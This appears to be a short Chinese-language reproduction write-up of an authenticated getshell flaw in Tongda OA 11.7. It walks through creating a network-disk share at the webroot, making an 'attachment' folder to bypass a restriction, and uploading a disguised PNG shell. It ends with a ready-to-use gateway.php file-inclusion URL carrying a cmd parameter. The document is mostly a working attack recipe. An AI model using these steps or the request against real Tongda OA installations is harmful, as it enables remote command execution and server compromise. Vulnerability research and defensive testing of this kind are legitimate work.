通达oa 11.7 后台getshell

一、漏洞简介

需要后台管理权限

二、漏洞影响

通达oa 11.7

三、复现过程

找到网络硬盘，创建共享目录为webroot目录地址

进行权限设置

然后general在这里需要创建一个叫attachment的文件夹进行绕过

在attachment这个文件夹就可以上传png了

下面用通达万年不变的文件包含，格式为这个https://www.0-sec.org/ispirit/interface/gateway.php?json={%22url%22:%22general/attachment/shell.php.png%22}&cmd=echo%20hhhhhh;